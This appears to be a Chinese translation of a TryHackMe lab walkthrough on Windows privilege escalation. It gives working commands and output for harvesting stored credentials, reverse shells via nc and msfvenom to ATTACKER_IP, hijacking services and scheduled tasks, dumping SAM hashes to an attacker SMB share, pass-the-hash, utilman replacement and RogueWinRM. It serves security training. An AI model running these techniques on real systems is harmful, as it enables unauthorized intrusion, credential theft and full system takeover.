【THM】Windows Privilege Escalation
Windows Privilege Escalation/Windows权限提升
Windows提权
简单来说,提权包括使用“用户 A”对主机的给定访问权限,并利用它通过利用目标系统中的弱点来获取“用户 B”的访问权限。虽然我们通常希望“用户 B”拥有管理员权限,但可能会有一些情况,我们需要在获得管理员权限之前先提升到其他无权限账户。
获取不同账户的访问权限可能就像找到一些粗心大意的用户留下的未加密的文本文件或电子表格中的凭证一样简单,但情况并不总是如此。根据情况,我们可能需要利用以下一些弱点:
- Windows 服务或计划任务配置错误
- 分配给我们的账户的权限过高
- 易受攻击的软件
- 缺失的 Windows 安全补丁
在深入实际技术之前,让我们先看看 Windows 系统上的不同账户类型。
Windows 用户
Windows 系统主要有两种用户类型。根据他们的访问级别,我们可以将用户分类到以下组之一:
| Administrators | 这些用户拥有最高权限。他们可以更改任何系统配置参数并访问系统中的任何文件。 |
|---|---|
| Standard Users | 这些用户可以访问计算机,但只能执行有限的任务。通常这些用户不能对系统进行永久性或关键性的更改,并且仅限于他们的文件。 |
任何具有管理权限的用户都将属于管理员组。另一方面,标准用户属于用户组。
除此之外,您通常会听到一些用于权限提升的操作系统内置特殊账户:
| SYSTEM / LocalSystem | 操作系统用于执行内部任务的账户。它对所有主机上的文件和资源拥有完全访问权限,甚至比管理员更高的权限。 |
|---|---|
| Local Service | 用于以“最小”权限运行 Windows 服务的默认账户。它将通过网络使用匿名连接。 |
| Network Service | 用于以“最小”权限运行 Windows 服务的默认账户。它将通过网络使用计算机凭据进行身份验证。 |
这些账户由 Windows 创建和管理,您无法像其他常规账户那样使用它们。然而,在某些情况下,您可能可以通过利用特定服务来获得它们的权限。
从常见位置收集密码
获取对其他用户访问权限的最简单方法是从受损害的机器中收集凭证。这些凭证可能存在许多原因,包括粗心的用户将它们留在明文文件中;或者甚至被某些软件如浏览器或电子邮件客户端存储。
Windows的无人值守(Unattended )安装
当在大量主机上安装 Windows 时,管理员可能会使用 Windows 部署服务,该服务允许通过网络将单个操作系统镜像部署到多个主机。这类安装被称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员账户执行初始设置,这些设置可能最终存储在以下位置:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
作为这些文件的一部分,您可能会遇到凭证:
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
PowerShell 历史记录
每次用户使用 Powershell 运行命令时,它都会被存储到一个文件中,该文件记录了过去的命令。这对于快速重复之前使用过的命令很有用。如果用户在 Powershell 命令行中直接将密码作为命令的一部分运行,则可以使用以下命令从 cmd.exe 提示符中检索它:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
注意:上述命令仅在 cmd.exe 中有效,因为 Powershell 无法识别 %userprofile% 作为环境变量。要从 Powershell 中读取文件,您需要将 %userprofile% 替换为 $Env:userprofile 。
已保存的 Windows 凭据
Windows 允许我们使用其他用户的凭据。此功能还提供将凭据保存在系统上的选项。以下命令将列出已保存的凭据:
cmdkey /list
虽然您无法看到实际的密码,但如果您发现任何值得尝试的凭据,您可以使用 runas 命令和 /savecred 选项来使用它们,如下所示。
runas /savecred /user:admin cmd.exe
IIS 配置
互联网信息服务(IIS)是 Windows 安装上的默认 Web 服务器。IIS 上网站的配置存储在一个名为 web.config 的文件中,可以存储数据库密码或配置的认证机制。根据安装的 IIS 版本,web.config 可以在以下位置之一找到:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
这里是一个快速查找文件中数据库连接字符串的方法:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
从软件 PuTTY 中检索凭据:
PuTTY 是在 Windows 系统上常见的 SSH 客户端。用户无需每次都指定连接的参数,可以将会话存储起来,以便以后使用。虽然 PuTTY 不允许用户存储 SSH 密码,但它会存储包含明文认证凭证的代理配置。
要检索存储的代理凭证,可以使用以下命令在以下注册表键下搜索 ProxyPassword:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
注意:Simon Tatham 是 PuTTY 的创建者(其名字是路径的一部分),而不是我们正在检索密码的用户的用户名。在运行上述命令后,存储的代理用户名也应可见。
就像 putty 存储凭证一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP 客户端、SSH 客户端、VNC 软件等等,都会有方法恢复用户保存的任何密码。
一些快速提权方法
计划任务(Scheduled Tasks)
在目标系统上查看计划任务时,您可能会看到一个丢失了其二进制文件的计划任务,或者它正在使用您可以修改的二进制文件。
可以使用 schtasks 命令从命令行列出计划任务,无需任何选项。要检索任何服务的详细信息,可以使用以下类似命令:
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1
您将获得有关任务的许多信息,但对我们来说,重要的是“要运行的任务”参数,它指示由计划任务执行的内容,以及“以用户身份运行”参数,它显示了将用于执行任务的用户。
如果我们的当前用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的文件权限,我们使用 icacls :
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
如结果所示,BUILTIN\Users 组对任务的二进制文件具有完全访问权限(F)。这意味着我们可以修改.bat 文件并插入我们喜欢的任何有效载荷。为了您的方便, nc64.exe 可以在 C:\tools 找到。让我们将 bat 文件更改为启动反向 shell:
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
我们然后在攻击者机器上启动一个监听器,该监听器端口与我们指示的反向 shell 中的端口相同:
nc -lvp 4444
下次计划任务运行时,您应该以 taskusr1 权限接收反向 shell。虽然您可能无法在实际场景中启动任务,而必须等待计划任务触发,但我们已为您提供了手动启动任务的权限,以节省您一些时间。我们可以使用以下命令运行任务:
C:\> schtasks /run /tn vulntask
您将按预期收到具有 taskusr1 权限的反向 shell:
user@attackerpc$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\taskusr1
AlwaysInstallElevated
Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。然而,这些可以配置为以任何用户账户(即使是未授权的账户)的更高权限运行。这可能会使我们能够生成一个以管理员权限运行的恶意 MSI 文件。
注意:AlwaysInstallElevated 方法在此房间机器上无法工作,仅作为信息包含。
此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些值。
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
要利用此漏洞,两者都应设置。否则,将无法利用。如果已设置,您可以使用 msfvenom 生成恶意.msi 文件,如下所示:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
由于这是一个反向 shell,您还应该运行相应配置的 Metasploit Handler 模块。一旦您已传输您创建的文件,您可以使用以下命令运行安装程序并接收反向 shell:
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
滥用服务配置错误
Windows 服务
Windows 服务由服务控制管理器(SCM)管理。SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态以及通常提供配置服务方式的过程。
Windows 机器上的每个服务都将有一个与之关联的可执行文件,该可执行文件将在 SCM 启动服务时运行。需要注意的是,服务可执行文件实现了与 SCM 通信的特殊功能,因此并非任何可执行文件都可以成功作为服务启动。每个服务还指定了服务将运行的用户账户。
为了更好地理解服务结构,让我们使用 sc qc 命令检查 apphostsvc 服务配置:
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystem
这里我们可以看到,通过 BINARY_PATH_NAME 参数指定了相关的可执行文件,而用于运行服务的账户显示在 SERVICE_START_NAME 参数上。
服务具有一个可自由访问控制列表(DACL),该列表指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务,以及其他权限。DACL 可以在进程查看器(可在您的计算机桌面上找到)中查看:

所有服务配置都存储在注册表下的 HKLM\SYSTEM\CurrentControlSet\Services\ : 中

每个系统服务都存在一个子键。同样,我们可以在 ImagePath 值中看到关联的可执行文件,在 ObjectName 值中看到启动服务所使用的账户。如果为服务配置了 DACL(自由访问控制列表),它将存储在名为 Security 的子键中。正如你现在所猜到的,默认情况下,只有管理员可以修改这样的注册表条目。
服务关联的可执行文件的不安全权限
如果与某个服务关联的可执行文件具有权限较弱,允许攻击者修改或替换它,攻击者可以轻易地获得服务账户的权限。
为了理解这是如何工作的,让我们看看在 Splinterware System Scheduler 上发现的一个漏洞。首先,我们将使用 sc :查询服务配置。
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1
我们可以看到,易受攻击的软件安装的服务以 svcuser1 身份运行,与该服务关联的可执行文件位于 C:\Progra~2\System~1\WService.exe 。然后我们继续检查该可执行文件的权限:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
这里有一些有趣的东西。Everyone 组对服务的可执行文件有修改权限(M)。这意味着我们可以简单地用我们偏好的任何有效载荷覆盖它,并且服务将以配置的用户账户的权限执行它。
让我们使用 msfvenom 生成一个 exe-service 有效载荷,并通过 Python 网络服务器提供它:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
然后我们可以使用以下命令从 Powershell 中提取有效载荷:
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
一旦有效载荷进入 Windows 服务器,我们就继续用我们的有效载荷替换服务可执行文件。由于我们需要另一个用户来执行我们的有效载荷,我们还将希望授予 Everyone 组完全权限:
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.
我们在攻击者机器上启动反向监听:
user@attackerpc$ nc -lvp 4445
最后,重新启动服务。在正常情况下,你可能需要等待服务重启,但你已被赋予权限自行重启服务以节省时间。请在 cmd.exe 命令提示符中使用以下命令:
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
注意:PowerShell 将 sc 作为 Set-Content 的别名,因此您需要使用 sc.exe 来通过 PowerShell 以这种方式控制服务。
因此,您将获得具有 svcusr1 权限的反向 shell:
user@attackerpc$ nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\svcusr1
未引用的服务路径
当我们无法像以前那样直接写入服务可执行文件时,仍然有可能通过使用一个相当隐晦的功能,强制服务运行任意可执行文件。
当与 Windows 服务一起工作时,如果服务配置为指向一个“未引用”的可执行文件,则会发生非常特定的行为。这里的“未引用”指的是关联的可执行文件路径没有正确引用,以处理命令中的空格。
"例如,让我们看看两个服务之间的区别(这些服务仅作为示例使用,可能不在您的机器上可用)。第一个服务将使用正确的引号,这样 SCM 就可以毫无疑问地知道它必须执行由 "C:\Program Files\RealVNC\VNC Server\vncserver.exe" 指向的二进制文件,然后是给定的参数:
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
请记住:PowerShell 中 'sc' 是 'Set-Content' 的别名,因此如果您在 PowerShell 提示符下,需要使用 'sc.exe' 来控制服务。
现在让我们看看另一个没有正确引号的服务的例子:
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2
当源代码管理器尝试执行关联的二进制文件时,会出现问题。由于“Disk Sorter Enterprise”文件夹的名称中包含空格,命令变得模糊不清,源代码管理器不知道您试图执行以下哪个:
| 命令 | 参数 1 | 参数 2 |
|---|---|---|
| C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
| C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
| C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
这与命令提示符解析命令的方式有关。通常,当你发送一个命令时,空格用作参数分隔符,除非它们是引号字符串的一部分。这意味着未引用命令的“正确”解释是执行 C:\\MyPrograms\\Disk.exe 并将剩余部分作为参数。
而不是像它可能应该的那样失败,SCM 试图帮助用户,并开始按照表中显示的顺序搜索每个二进制文件:
- 首先,搜索
C:\\MyPrograms\\Disk.exe。如果它存在,该服务将运行此可执行文件。 - 如果后者不存在,它将接着搜索
C:\\MyPrograms\\Disk Sorter.exe。如果存在,服务将运行此可执行文件。 - 如果后者不存在,它将接着搜索
C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe。此选项预期会成功,通常会在默认安装中运行。
从这个行为中,问题变得明显。如果攻击者创建在预期服务可执行文件之前搜索的任何可执行文件,他们可以强制服务运行任意可执行文件。
大多数服务所关联的可执行文件会默认安装在 C:\Program Files 或 C:\Program Files (x86) 下,非特权用户无法写入。 这可以防止任何易受攻击的服务被攻击者利用。 但是以上规则也有例外:一些安装程序可能会更改对应的安装文件夹的权限,从而使相关的服务易受攻击;管理员可能会决定在非默认路径下安装服务所关联的二进制文件,如果这样的路径是全局可写的,则攻击者可以利用该漏洞。
在我们的情况下,管理员将 Disk Sorter 二进制文件安装在 c:\MyPrograms 下。默认情况下,这继承了 C:\ 目录的权限,允许任何用户在其中创建文件和文件夹。我们可以使用 icacls 来检查:
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
BUILTIN\\Users 组具有 AD 和 WD 权限,允许用户创建子目录和文件。
使用 msfvenom 创建 exe-service 有效负载并将其传输到目标主机的过程与之前相同,因此您可以自由地创建以下有效负载并将其像之前一样上传到服务器。我们还将启动一个监听器以在执行时接收反向 shell:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe
user@attackerpc$ nc -lvp 4446
一旦有效负载在服务器上,将其移动到可能发生劫持的任何位置。在这种情况下,我们将把我们的有效负载移动到 C:\MyPrograms\Disk.exe 。我们还将授予 Everyone 对该文件的全权限,以确保它可以由服务执行:
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.
一旦服务重启,您的有效负载应该会执行:
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"
因此,您将获得具有 svcusr2 权限的反向 shell:
user@attackerpc$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\svcusr2
不安全的服务权限
如果服务的可执行 DACL (自由访问控制列表)配置良好,且服务的二进制路径正确引用,您可能仍有一丝机会利用该服务。如果服务 DACL(不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置服务。这将允许您指向所需的任何可执行文件,并使用您偏好的任何账户运行它,包括 SYSTEM 本身。
要从命令行检查服务 DACL,您可以使用 Sysinternals 套件中的 Accesschk。为了您的方便,副本可在 C:\\tools 。检查 thmservice 服务 DACL 的命令是:
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
这里我们可以看到 BUILTIN\\Users 组具有 SERVICE_ALL_ACCESS 权限,这意味着任何用户都可以重新配置该服务。
在更改服务之前,让我们构建另一个 exe-service 反向 shell 并在攻击者的机器上启动监听器:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
user@attackerpc$ nc -lvp 4447
然后我们将反向 shell 可执行文件传输到目标机器,并存储在 C:\Users\thm-unpriv\rev-svc3.exe 。请随意使用 wget 传输您的可执行文件并将其移动到所需位置。请记住,为所有人授予执行负载的权限:
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
要更改服务关联的可执行文件和账户,我们可以使用以下命令(使用 sc.exe 时请注意等号后面的空格):
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
注意,我们可以使用任何账户来运行服务。我们选择了 LocalSystem,因为它是最有特权的账户。要触发我们的负载,剩下的只是重新启动服务:
C:\> sc stop THMService
C:\> sc start THMService
我们将从攻击者的机器中获取具有 SYSTEM 权限的 shell:
user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM
滥用危险权限
Windows 权限
权限是账户执行特定系统相关任务的权利。这些任务可能非常简单,例如拥有关闭机器的权限,也可能涉及绕过基于 DACL 的访问控制权限的权限。
每个用户都有一组分配的权限,可以使用以下命令进行检查:
whoami /priv
Windows 系统上可用的完整权限列表可在以下位置找到。从攻击者的角度来看,只有那些可以让我们在系统中提升权限的权限才有兴趣。您可以在 Priv2Admin Github 项目上找到可利用权限的完整列表。
虽然我们不会逐一查看它们,但我们将展示如何滥用一些最常见的权限。
SeBackup / SeRestore
SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,忽略任何现有的 DACL。这个权限背后的想法是允许某些用户在没有完整管理员权限的情况下从系统执行备份。
拥有这种权力,攻击者可以通过许多技术轻易地在系统上提升权限。我们将要查看的方法包括将 SAM 和 SYSTEM 注册表的分叉复制出来,以提取本地管理员的密码散列。
通过以下凭据使用 RDP 登录目标机器:
用户: THMBackup
密码: CopyMaster555
此账户属于“备份操作员”组,该组默认拥有 SeBackup 和 SeRestore 权限。我们需要使用“以管理员身份打开”选项打开命令提示符来使用这些权限。我们将被要求再次输入密码以获取提升的命令行:

一旦进入命令提示符,我们可以使用以下命令检查我们的权限:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
备份 SAM 和 SYSTEM 哈希,可以使用以下命令:
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.
C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.
这将创建包含注册表分区的几个文件。现在我们可以使用 SMB 或其他任何可用方法将这些文件复制到我们的攻击机器上。对于 SMB,我们可以使用 impacket 的 smbserver.py 在 AttackBox 当前目录中启动一个简单的 SMB 服务器,并创建一个网络共享:
user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
这将创建一个名为 public 的共享,指向 share 目录,该目录需要我们当前 Windows 会话的用户名和密码。之后,我们可以在我们的 Windows 机器上使用 copy 命令将两个文件传输到我们的 AttackBox:
C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
使用 impacket 检索用户的密码散列:
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
我们终于可以使用管理员的哈希值来执行 Pass-the-Hash 攻击,并以 SYSTEM 权限访问目标机器:
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 10.10.175.90.....
[*] Found writable share ADMIN$
[*] Uploading file nfhtabqO.exe
[*] Opening SVCManager on 10.10.175.90.....
[*] Creating service RoLE on 10.10.175.90.....
[*] Starting service RoLE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
SeTakeOwnership
SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表键,为攻击者提供了提升权限的许多可能性,例如,我们可以搜索以 SYSTEM 身份运行的服务并获取服务的可执行文件的所有权。然而,对于这个任务,我们将采取不同的路线。
通过以下凭据使用 RDP 登录目标机器:
用户: THMTakeOwnership
密码: TheWorldIsMine2022
要获取 SeTakeOwnership 权限,我们需要使用“以管理员身份打开”选项打开命令提示符。我们将被要求输入密码以获取提升的命令行:

一旦进入命令提示符,我们可以使用以下命令检查我们的权限:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================== ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
我们将这次利用 utilman.exe 来提升权限。Utilman 是一个内置的 Windows 应用程序,用于在锁屏时提供无障碍访问选项:

由于 Utilman 以系统权限运行,如果我们替换我们喜欢的任何有效载荷的原生二进制文件,我们将有效地获得系统权限。由于我们可以拥有任何文件,替换它是微不足道的。
要替换 utilman,我们首先将使用以下命令获取其所有权:
C:\> takeown /f C:\Windows\System32\Utilman.exe
SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".
注意,成为文件的所有者并不一定意味着你有对其的权限,但作为所有者,你可以为自己分配所需的任何权限。要给你的用户完全控制 utilman.exe 的权限,可以使用以下命令:
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files
之后,我们将用 cmd.exe 的副本替换 utilman.exe:
C:\Windows\System32\> copy cmd.exe utilman.exe
1 file(s) copied.
要触发 utilman,我们将从开始按钮锁定我们的屏幕:

最后,点击“辅助功能”按钮,该按钮以系统权限运行 utilman.exe。由于我们用 cmd.exe 的副本替换了它,我们将获得具有系统权限的命令提示符:

SeImpersonate / SeAssignPrimaryToken
这些权限允许一个进程代表其他用户进行操作。模拟通常包括能够在另一个用户的安全上下文中启动进程或线程。
当你思考 FTP 服务器的工作方式时,模拟就很容易理解了。FTP 服务器必须限制用户只能访问他们应该被允许看到的文件。
假设我们有一个运行中的 FTP 服务,用户名为 ftp 。如果没有伪装,如果用户 Ann 登录到 FTP 服务器并尝试访问她的文件,FTP 服务将尝试使用其访问令牌而不是 Ann 的来访问它们:

使用 FTP 的令牌并非最佳选择的原因有几个:- 为了正确提供文件,它们需要可供 ftp 用户访问。在上面的例子中,FTP 服务能够访问 Ann 的文件,但不能访问 Bill 的文件,因为 Bill 的文件中的 DACL 不允许用户 ftp 访问。这增加了复杂性,因为我们必须手动为每个提供的文件/目录配置特定的权限。- 对于操作系统,所有文件都由用户 ftp 访问,而不管当前登录到 FTP 服务的用户是谁。这使得无法将授权委托给操作系统;因此,FTP 服务必须自行实现。- 如果 FTP 服务在某个时刻被入侵,攻击者将立即获得对 ftp 用户有权访问的所有文件夹的访问权限。
如果 FTP 服务的用户具有 SeImpersonate 或 SeAssignPrimaryToken 权限,那么这一切都会简化一些,因为 FTP 服务可以暂时获取登录用户的访问令牌,并使用它代表他们执行任何任务:

现在,如果用户 Ann 登录到 FTP 服务,并且 ftp 用户具有模拟权限,它可以借用 Ann 的访问令牌并使用它来访问她的文件。这样,文件无需以任何方式提供对用户 ftp 的访问,操作系统处理授权。由于 FTP 服务正在模拟 Ann,因此在该会话期间将无法访问 Jude 或 Bill 的文件。
作为攻击者,如果我们能够使用 SeImpersonate 或 SeAssignPrimaryToken 权限控制一个进程,我们就可以冒充连接并验证到该进程的任何用户。
在 Windows 系统中,您会发现 LOCAL SERVICE 和 NETWORK SERVICE ACCOUNTS 已经具有这样的权限。由于这些账户用于使用受限账户启动服务,因此如果服务需要,允许它们冒充连接的用户是有意义的。互联网信息服务(IIS)也将为 Web 应用程序创建一个类似的默认账户,称为“iis apppool\defaultapppool”。
要使用此类账户提升权限,攻击者需要以下条件:1. 启动一个进程,以便用户可以连接并验证到它,以便发生冒充。2. 找到一种方法强制特权用户连接并验证到启动的恶意进程。
我们将使用 RogueWinRM 漏洞来完成这两个条件。
让我们先假设我们已经攻陷了一个运行在 IIS 上的网站,并且我们在以下地址植入了 web shell:
http://MACHINE_IP/
我们可以使用 web shell 来检查被攻陷账户的分配权限,并确认我们拥有执行此任务所需的两个感兴趣权限:

要使用 RogueWinRM,我们首先需要将漏洞利用程序上传到目标机器。为了您的方便,这已经完成,您可以在 C:\tools\ 文件夹中找到漏洞利用程序。
The RogueWinRM 漏洞是可能的,因为每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它会自动使用 SYSTEM 权限创建到端口 5985 的连接。端口 5985 通常用于 WinRM 服务,它只是一个用于通过网络远程使用 Powershell 控制台的端口。把它想象成 SSH,但使用 Powershell。
如果由于某种原因,受害服务器上的 WinRM 服务没有运行,攻击者可以在端口 5985 上启动一个伪造的 WinRM 服务,并捕获启动时 BITS 服务进行的身份验证尝试。如果攻击者具有 SeImpersonate 权限,他可以代表连接用户执行任何命令,该用户是 SYSTEM。
在运行漏洞利用之前,我们将在我们的攻击者机器上启动一个 netcat 监听器以接收反向 shell:
user@attackerpc$ nc -lvp 4442
然后,使用我们的 Web Shell,通过以下命令触发 RogueWinRM 漏洞:
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

注意:利用程序可能需要 2 分钟才能生效,因此您的浏览器可能会暂时无响应。如果您多次运行利用程序,这会发生,因为它必须等待 BITS 服务停止才能再次启动。BITS 服务将在启动后 2 分钟自动停止。
